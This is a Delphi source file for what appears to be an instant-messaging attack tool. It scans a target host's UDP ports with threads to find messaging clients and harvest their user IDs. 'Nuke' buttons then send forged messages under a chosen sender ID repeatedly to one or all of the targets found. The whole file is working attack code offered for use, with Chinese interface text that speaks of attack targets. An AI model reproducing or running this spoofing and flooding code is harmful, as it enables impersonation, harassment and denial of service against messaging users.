CloneScan.pas
上传用户:hbtcygglw
上传日期:2007-01-07
资源大小:281k
文件大小:16k
源码类别:

其他

开发平台:

Delphi

  1. unit CloneScan;
  2. {$define DEBUGVERSION}
  3. //{$define REDUCE_VERSION}
  4. interface
  5. uses
  6.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  7.   StdCtrls, Spin, NMUDP, ExtCtrls, Menus,WinSock, ScktComp, ComCtrls;
  8. type
  9.   TPortScanParam=record
  10.     dwID,sinAddr:DWORD;
  11.     nStartPort,nStopPort,nStepPort:DWORD;
  12.     nLoopCnt,nTimeOut:Integer;
  13.     end;
  14.   PPortScanParam=^TPortScanParam;
  15.   TPortInfo=record
  16.     nIndex:Integer;
  17.     nPort:WORD;
  18.     strUID:string;
  19.     end;
  20.   TCloneScanDlg = class(TForm)
  21.     Label1: TLabel;
  22.     edIPAddr: TEdit;
  23.     Label2: TLabel;
  24.     PortList: TListBox;
  25.     btnStart: TButton;
  26.     Label3: TLabel;
  27.     Label4: TLabel;
  28.     edStartPort: TSpinEdit;
  29.     edStopPort: TSpinEdit;
  30.     edTimes: TSpinEdit;
  31.     edTimeOut: TSpinEdit;
  32.     Label5: TLabel;
  33.     Label6: TLabel;
  34.     btnClose: TButton;
  35.     PortUDP: TNMUDP;
  36.     OutTimer: TTimer;
  37.     Label7: TLabel;
  38.     edSrcId: TEdit;
  39.     btnNuke: TButton;
  40.     btnNukeAll: TButton;
  41.     ScanMenu: TPopupMenu;
  42.     mClear: TMenuItem;
  43.     mSave: TMenuItem;
  44.     SaveDlg: TSaveDialog;
  45.     Label8: TLabel;
  46.     edThreadNum: TSpinEdit;
  47.     btnPause: TButton;
  48.     Label9: TLabel;
  49.     lbTargetNumber: TLabel;
  50.     ProgBar: TProgressBar;
  51.     procedure PortUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
  52.       FromIP: String; Port: Integer);
  53.     procedure OutTimerTimer(Sender: TObject);
  54.     procedure FormCreate(Sender: TObject);
  55.     procedure btnNukeClick(Sender: TObject);
  56.     procedure btnNukeAllClick(Sender: TObject);
  57.     procedure mClearClick(Sender: TObject);
  58.     procedure mSaveClick(Sender: TObject);
  59.     procedure FormDestroy(Sender: TObject);
  60.     procedure btnCloseClick(Sender: TObject);
  61.     procedure PortListKeyDown(Sender: TObject; var Key: Word;
  62.       Shift: TShiftState);
  63.     procedure btnStartClick(Sender: TObject);
  64.     procedure btnPauseClick(Sender: TObject);
  65.   private
  66.     { Private declarations }
  67.     info:array of TPortInfo;
  68.     nInfoCnt:Integer;
  69. //    nThreadId:LongWord;
  70.     nScanCnt:Integer;
  71.     nRunFlag:Integer;
  72.     ListLock:TMultiReadExclusiveWriteSynchronizer;
  73.     StatusLock:TMultiReadExclusiveWriteSynchronizer;
  74.     
  75.     function CheckInput:Boolean;
  76.     function FindPortInfo(nPort:WORD):integer;
  77. {$ifndef REDUCE_VERSION}
  78.     function GetIdByIndex(index:Integer):string;
  79.     function GetIpByIndex(index:Integer):string;
  80.     function GetPortByIndex(Index:Integer):WORD;
  81. {$endif}
  82.     procedure DeletePortByIndex(Index:Integer);
  83.     procedure ProcessReponse(buf:array of char;buflen:Integer;fromIp:string;fromPort:WORD);
  84. //    procedure SendPackage;
  85.     procedure ShutdownThread;
  86.     procedure DoPortScan(sinAddr:DWORD;StartPort,EndPort:WORD;LoopCnt,TimeOut:DWORD);
  87. //    function GetTimeOutOfPeer(ip:String):Integer;
  88.     procedure ThreadPortScan;
  89.   public
  90.     { Public declarations }
  91.     FSocket:TSocket;
  92.     class procedure Execute(ip:string);
  93.   end;
  94. var
  95.     CloneScanDlg:TCloneScanDlg;
  96. implementation
  97. {$R *.DFM}
  98. uses data,info,NukeInfo, Main;
  99. var
  100. StopFlag:Boolean;
  101. function ThreadScanFunc(p:Pointer):Integer;
  102. var
  103. param:PPortScanParam;
  104. begin
  105. param:=p;  
  106. CloneScanDlg.DoPortScan(param^.sinAddr,param^.nStartPort,Param^.nStopPort,param^.nLoopCnt,param^.nTimeOut);
  107. Dec(CloneScanDlg.nRunFlag);
  108. if(CloneScanDlg.nRunFlag=0)then
  109.     begin
  110.     CloneScanDlg.btnStart.Enabled:=True;
  111.     CloneScanDlg.btnPause.Enabled:=False;
  112.     end;
  113. FreeMem(p);
  114. Result:=0;
  115. end;
  116. function  ScanFunc(p:Pointer):Integer;
  117. var
  118. buf:array [0..2048] of char;
  119. fromaddr:TSockAddr;
  120. fromlen:Integer;
  121. buflen:Integer;
  122. //RetCode:DWORD;
  123. begin
  124. while(not StopFlag)do
  125.     begin
  126.     ZeroMemory(@fromaddr,sizeof(fromaddr));
  127.     fromlen:=SizeOf(fromaddr);
  128.     buflen:=recvfrom(CloneScanDlg.FSocket,buf,2048,0,fromaddr,fromlen);
  129.     if(buflen<>SOCKET_ERROR)then
  130.         CloneScanDlg.ProcessReponse(buf,buflen,inet_ntoa(fromaddr.sin_addr),ntohs(fromaddr.sin_port));
  131. {    else
  132.         begin
  133.         //if retcode=10054 remote host close connection
  134.         //mean that ICMP DESTAINATION UNREACHEABLE
  135.         RetCode:=GetLastError;
  136.         end;}
  137.     end;
  138. Result:=0;
  139. end;
  140. function TCloneScanDlg.CheckInput: Boolean;
  141. begin
  142. result:=true;
  143. end;
  144. class procedure TCloneScanDlg.Execute(ip: string);
  145. begin
  146. if(CloneScanDlg<>nil)then
  147.     begin
  148.     CloneScanDlg.edIPAddr.Text:=ip;
  149.     CloneScanDlg.Show
  150.     end
  151. else
  152.     begin
  153.     CloneScanDlg:=TCloneScanDlg.Create(Application);
  154.     CloneScanDlg.edIPAddr.Text:=ip;
  155.     CloneScanDlg.Show;
  156.     end;
  157. end;
  158. procedure TCloneScanDlg.PortUDPDataReceived(Sender: TComponent;
  159.   NumberBytes: Integer; FromIP: String; Port: Integer);
  160. var
  161. buf:array [0..2048] of char;
  162. len:Integer;
  163. begin
  164. PortUDP.ReadBuffer(buf,len);
  165. if(len>10)then
  166.     begin
  167.     ProcessReponse(buf,len,FromIp,Port);
  168.     end;
  169. end;
  170. procedure TCloneScanDlg.OutTimerTimer(Sender: TObject);
  171. begin
  172. {OutTimer.Enabled:=False;
  173. ShutdownThread;
  174. closesocket(FSocket);
  175. btnStart.Enabled:=True;
  176. lbStatus.caption:='扫描结果如下';}
  177. end;
  178. procedure TCloneScanDlg.FormCreate(Sender: TObject);
  179. begin
  180. nInfoCnt:=0;
  181. ListLock:=TMultiReadExclusiveWriteSynchronizer.Create;
  182. StatusLock:=TMultiReadExclusiveWriteSynchronizer.Create;
  183. end;
  184. function TCloneScanDlg.FindPortInfo(nPort: WORD): integer;
  185. var
  186. i:Integer;
  187. begin
  188. Result:=-1;
  189. for i:=0 to nInfoCnt-1 do
  190.     begin
  191.     if(info[i].nPort=nPort)then
  192.         begin
  193.         Result:=i;
  194.         break;
  195.         end;
  196.     end;
  197. end;
  198. procedure TCloneScanDlg.btnNukeClick(Sender: TObject);
  199. {$ifndef REDUCE_VERSION}
  200. var
  201. SrcId,msg:String;
  202. i,FaceNo,cnt:DWORD;
  203. {$endif}
  204. begin
  205. {$ifndef REDUCE_VERSION}
  206. if(PortList.Items.Count>0)then
  207.     begin
  208.     if(TNukeInfoDlg.Execute(SrcId,FaceNo,cnt,msg))then
  209.         begin
  210.         for i:=0 to cnt do
  211.             begin
  212.             SendFakeMsg(SrcId,IntToStr(FaceNo),GetIdByIndex(PortList.ItemIndex),
  213.                 GetIPByIndex(PortList.ItemIndex),GetPortByIndex(PortList.ItemIndex),msg,Date,Time);
  214.             end;
  215.         end;
  216.     end
  217. else
  218.     begin
  219.     ShowMessage('没有攻击对象!');
  220.     end;
  221. {$else}
  222. ShowMessage('对不起!简版没有此功能');
  223. {$endif}
  224. end;
  225. {$ifndef REDUCE_VERSION}
  226. function TCloneScanDlg.GetIdByIndex(index: Integer): string;
  227. var
  228. i:Integer;
  229. begin
  230. for i:=0 to nInfoCnt-1 do
  231.     begin
  232.     if(info[i].nIndex=index)then
  233.         begin
  234.         Result:=info[i].strUID;
  235.         Break;
  236.         end;
  237.     end;
  238. end;
  239. function TCloneScanDlg.GetIpByIndex(index: Integer): string;
  240. begin
  241. Result:=edIPAddr.Text;
  242. end;
  243. function TCloneScanDlg.GetPortByIndex(Index: Integer): WORD;
  244. var
  245. i:Integer;
  246. begin
  247. Result:=4000;
  248. for i:=0 to nInfoCnt-1 do
  249.     begin
  250.     if(info[i].nIndex=index)then
  251.         begin
  252.         Result:=info[i].nPort;
  253.         Break;
  254.         end;
  255.     end;
  256. end;
  257. {$endif}
  258. procedure TCloneScanDlg.btnNukeAllClick(Sender: TObject);
  259. {$ifndef REDUCE_VERSION}
  260. var
  261. SrcId,msg:String;
  262. i,j,FaceNo,cnt:DWORD;
  263. {$endif}
  264. begin
  265. {$ifndef REDUCE_VERSION}
  266. if(TNukeInfoDlg.Execute(SrcId,FaceNo,cnt,msg))then
  267.     begin
  268.     for i:=0 to nInfoCnt-1 do
  269.         begin
  270.         for j:=0 to cnt do
  271.             begin
  272.             SendFakeMsg(SrcId,IntToStr(FaceNo),info[i].strUID,
  273.                 edIPAddr.Text,info[i].nPort,msg,Date,Time);
  274.             end;
  275.         end;
  276.     end;
  277. {$else}
  278. ShowMessage('对不起!简版没有此功能.');
  279. {$endif}
  280. end;
  281. procedure TCloneScanDlg.mClearClick(Sender: TObject);
  282. begin
  283. PortList.Clear;
  284. SetLength(info,0);
  285. nInfoCnt:=0;
  286. lbTargetNumber.Caption:='0';
  287. end;
  288. procedure TCloneScanDlg.mSaveClick(Sender: TObject);
  289. begin
  290. if(SaveDlg.Execute)then
  291.     begin
  292.     if(Sender is TMenuItem)then
  293.         (
  294.             (
  295.                 (Sender as TMenuItem).GetParentMenu as TPopupMenu
  296.             ).PopupComponent as TListBox
  297.         ).Items.SaveToFile(SaveDlg.FileName);
  298.     end;
  299. end;
  300. procedure TCloneScanDlg.FormDestroy(Sender: TObject);
  301. begin
  302. CloneScanDlg:=nil;
  303. end;
  304. procedure TCloneScanDlg.btnCloseClick(Sender: TObject);
  305. begin
  306. Close;
  307. end;
  308. procedure TCloneScanDlg.PortListKeyDown(Sender: TObject; var Key: Word;
  309.   Shift: TShiftState);
  310. var
  311. index:Integer;
  312. begin
  313. if(Key=VK_DELETE)then
  314.     begin
  315.     index:=PortList.ItemIndex;
  316.     DeletePortByIndex(index);
  317.     PortList.Items.Delete(PortList.ItemIndex);
  318.     PortList.ItemIndex:=index;
  319.     end;
  320. end;
  321. procedure TCloneScanDlg.ProcessReponse(buf: array of char;
  322.   buflen: Integer;fromIp:string;fromPort:WORD);
  323. var
  324. uid:string;
  325. i:Integer;
  326. begin
  327. uid:='';
  328. if(buf[4]=chr($79))then//Direct msg Reponse
  329.     begin
  330.     for i:=7 to buflen -2 do
  331.         begin
  332.         uid:=uid+buf[i];
  333.         end;
  334.     if(FindPortInfo(fromPort)<0)then
  335.         begin
  336.         Inc(nInfoCnt);
  337.         SetLength(info,nInfoCnt);
  338.         info[nInfoCnt-1].nPort:=fromPort;
  339.         info[nInfoCnt-1].strUID:=uid;
  340.         ListLock.BeginWrite;
  341.         info[nInfoCnt-1].nIndex:=PortList.Items.Add('Port:'+IntToStr(fromPort)+'  ID:'+uid);
  342.         lbTargetNumber.Caption:=IntToStr(nInfoCnt);
  343.         ListLock.EndWrite;
  344.         end;
  345.     end;
  346. end;
  347. {procedure TCloneScanDlg.btnStartClick(Sender: TObject);
  348. var
  349. addr:TSockAddr;
  350. begin
  351. if(not CheckInput)then Exit;
  352. btnStart.Enabled:=False;
  353. OutTimer.Enabled:=False;
  354. OutTimer.Interval:=edTimeOut.Value;
  355. FSocket:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  356. if(FSocket<>INVALID_SOCKET)then
  357.     begin
  358.     Addr.sin_family := AF_INET;
  359.     Addr.sin_addr.s_addr := INADDR_ANY;
  360.     Addr.sin_port := 0;
  361.     if(bind(FSocket,addr,sizeof(addr))<>SOCKET_ERROR)then
  362.         begin
  363.         StopFlag:=False;
  364.         if(BeginThread(nil,4096,ScanFunc,Pointer(FSocket),0,nThreadId)=NULL)then
  365.             begin
  366.             ShowMessage('Thread error'+IntToStr(GetLastError));
  367.             end;
  368.         try
  369.             SendPackage;
  370.             lbStatus.Caption:='等待回答...';
  371.             OutTimer.Enabled:=True;
  372.         except
  373.             ShutDownThread;
  374.             closesocket(FSocket);
  375.             btnStart.Enabled:=False;
  376.             end;
  377.         end;
  378.     end;
  379. end;}
  380. {procedure TCloneScanDlg.SendPackage;
  381. var
  382. addr:TSockAddr;
  383. port:WORD;
  384. ip:string;
  385. buflen,i:Integer;
  386. buf:array [0..2048] of char;
  387. begin
  388. ZeroMemory(@addr,sizeof(addr));
  389. if(CheckInput)then
  390.     begin
  391.     lbStatus.Caption:='正在发送...';
  392.     Refresh;
  393.     ip:=edIPAddr.Text;
  394.     for port:=edStartPort.Value to edStopPort.Value do
  395.         begin
  396.         Inc(nFakeCnt);
  397.         for i:=0 to edTimes.Value-1 do
  398.             begin
  399.             buflen:=MakeDirectMsgBuf(buf,nFakeCnt,edSrcId.text,0,Date,Time,'');
  400.             addr.sin_family:=AF_INET;
  401.             addr.sin_addr.S_addr:=inet_addr(PChar(ip));
  402.             addr.sin_port:=htons(port);
  403.             if(sendto(FSocket,buf,buflen,0,addr,sizeof(addr))=SOCKET_ERROR)then
  404.                 begin
  405.                 ShowMessage('Send error'+IntToStr(GetLastError));
  406.                 break;
  407.                 end;
  408.             end;
  409.         end;
  410.     end;
  411. end;}
  412. procedure TCloneScanDlg.ShutdownThread;
  413. begin
  414. StopFlag:=TRUE;
  415. end;
  416. procedure TCloneScanDlg.DeletePortByIndex(Index: Integer);
  417. var
  418. i:Integer;
  419. begin
  420. for i:=0 to nInfoCnt do
  421.     begin
  422.     if(info[i].nIndex=index)then
  423.         begin
  424.         info[i].nPort:=0;
  425.         Break;
  426.         end;
  427.     end;
  428. end;
  429. procedure TCloneScanDlg.DoPortScan(sinAddr:DWORD;StartPort,EndPort:WORD;LoopCnt,TimeOut:DWORD);
  430. var
  431. addr:TSockAddr;
  432. s:TSocket;
  433. RecvTimeOut,i:Integer;
  434. buf:array [0..2048] of char;
  435. fromaddr:TSockAddr;
  436. fromlen:Integer;
  437. buflen:Integer;
  438. ErrCode:Integer;
  439. port:WORD;
  440. begin
  441. if(not CheckInput)then Exit;
  442. s:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  443. RecvTimeOut:=TimeOut;
  444. if(s<>INVALID_SOCKET)then
  445.     begin
  446.     Addr.sin_family := AF_INET;
  447.     Addr.sin_addr.s_addr := INADDR_ANY;
  448.     Addr.sin_port := 0;
  449.     if(bind(s,addr,sizeof(addr))<>SOCKET_ERROR)then
  450.         begin
  451.         if(SOCKET_ERROR=setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,@RecvTimeOut,sizeof(RecvTimeOut)))then
  452.             begin
  453.             ShowMessage('setsockopt error:'+IntToStr(GetLastError));
  454.             end
  455.         else
  456.             begin
  457. //            lbStatus.Caption:='正在扫描...';
  458.             
  459.             for port:=StartPort to EndPort do
  460.                 begin
  461.                 Inc(nFakeCnt);
  462.                 StatusLock.BeginWrite;
  463.                 Inc(nScanCnt);
  464. //                lbStatus.Caption:='已扫描端口个数:'+IntToStr(nScanCnt);
  465. //                lbStatus.Repaint;
  466.                 if((nScanCnt mod 10)=9)then
  467.                     begin
  468.                     ProgBar.StepIt;
  469.                     end;
  470.                 if(nScanCnt=(edStopPort.Value-edStartPort.Value))then
  471.                     begin
  472.                     ProgBar.Position:=ProgBar.Max;
  473.                     end;
  474.                 StatusLock.EndWrite;
  475.                 for i:=0 to LoopCnt-1 do
  476.                     begin
  477.                     //sending .....
  478.                     buflen:=MakeDirectMsgBuf(buf,nFakeCnt,edSrcId.text,0,Date,Time,'');
  479.                     addr.sin_family:=AF_INET;
  480.                     addr.sin_addr.S_addr:=sinAddr;
  481.                     addr.sin_port:=htons(port);
  482.                     if(sendto(s,buf,buflen,0,addr,sizeof(addr))=SOCKET_ERROR)then
  483.                         begin
  484.                         ShowMessage('Send error'+IntToStr(GetLastError));
  485.                         break;
  486.                         end;
  487.                     //recv...
  488.                     ZeroMemory(@fromaddr,sizeof(fromaddr));
  489.                     fromlen:=SizeOf(fromaddr);
  490.                     buflen:=recvfrom(s,buf,2048,0,fromaddr,fromlen);
  491.                     if(buflen<>SOCKET_ERROR)then
  492.                         begin//Get it!
  493.                         CloneScanDlg.ProcessReponse(buf,buflen,inet_ntoa(fromaddr.sin_addr),ntohs(fromaddr.sin_port));
  494.                         Break;//Let 's scan next port
  495.                         end
  496.                     else
  497.                         begin
  498.                         ErrCode:=GetLastError;
  499.                         if(ErrCode=10054)then
  500.                             begin
  501.                             //ICMP report destination unrecheable,let's scan next port
  502.                             Break;
  503.                             end;
  504.                         end;
  505.                     end;//end for LoopCnt
  506.                 Application.ProcessMessages;
  507.                 if(StopFlag)then Break;
  508.                 end;//End for port
  509.             end;
  510.         end
  511.     else//bind error
  512.         begin
  513.         ErrCode:=GetLastError;
  514.         ShowMessage('Bind error'+IntToStr(ErrCOde));
  515.         end;
  516.     closesocket(s);
  517.     end;
  518. end;
  519. procedure TCloneScanDlg.btnStartClick(Sender: TObject);
  520. begin
  521. if(not CheckInput)then Exit;
  522. nRunFlag:=edThreadNum.Value;
  523. nScanCnt:=0;
  524. StopFlag:=False;
  525. if(edStopPort.Value<=ProgBar.Min)then
  526.     begin
  527.     ProgBar.Min:=edStartPort.Value;
  528.     ProgBar.Max:=edStopPort.Value;
  529.     end
  530. else
  531.     begin
  532.     ProgBar.Max:=edStopPort.Value;
  533.     ProgBar.Min:=edStartPort.Value;
  534.     end;
  535. if((edStopPort.Value-edStartport.Value)<50)then
  536.     ProgBar.Step:=1
  537. else ProgBar.Step:=10;
  538. btnStart.Enabled:=False;
  539. btnPause.Enabled:=True;
  540. ThreadPortScan;
  541. Application.ProcessMessages;
  542. end;
  543. procedure TCloneScanDlg.btnPauseClick(Sender: TObject);
  544. begin
  545. ShutDownThread;
  546. end;
  547. {function TCloneScanDlg.GetTimeOutOfPeer(ip: String): Integer;
  548. begin
  549. Result:=500;
  550. end;} 
  551. procedure TCloneScanDlg.ThreadPortScan;
  552. var
  553. i:DWORD;
  554. //hThreads:array of LongWord;
  555. nThreadId:LongWord;
  556. param:PPortScanParam;
  557. step:DWORD;
  558. LastPort:WORD;
  559. begin
  560. //SetLength(hThreads,edThreadNum.Value);
  561. step:=(edStopPort.Value-edStartPort.Value) div edThreadNum.Value;
  562. LastPort:=edStartPort.Value;
  563. for i:=0 to edThreadNum.Value-2 do
  564.     begin
  565.     param:=AllocMem(SizeOf(TPortScanParam));
  566.     param.sinAddr:=inet_addr(PChar(edIPAddr.Text));
  567.     param.dwID:=StrToIntDef(edSrcId.Text,0);
  568.     param.nLoopCnt:=edTimes.Value;
  569.     param.nTimeOut:=edTimeOut.Value;
  570.     param.nStartPort:=DWORD(edStartPort.Value)+i*step;
  571.     param.nStopPort:=param.nStartPort+step-1;
  572.     param.nStepPort:=step;
  573.     LastPort:=param.nStopPort+1;
  574.     if(BeginThread(nil,4096,ThreadScanFunc,param,0,nThreadId)=NULL)then
  575.         begin
  576.         ShowMessage('Begin Thread error'+IntToStr(GetLastError));
  577.         Break;
  578.         end;
  579.     end;
  580. param:=AllocMem(SizeOf(TPortScanParam));
  581. param.sinAddr:=inet_addr(PChar(edIPAddr.Text));
  582. param.dwID:=StrToIntDef(edSrcId.Text,0);
  583. param.nLoopCnt:=edTimes.Value;
  584. param.nTimeOut:=edTimeOut.Value;
  585. param.nStartPort:=LastPort;
  586. param.nStopPort:=edStopPort.Value;
  587. param.nStepPort:=step;
  588. BeginThread(nil,4096,ThreadScanFunc,param,0,nThreadId);
  589. end;
  590. end.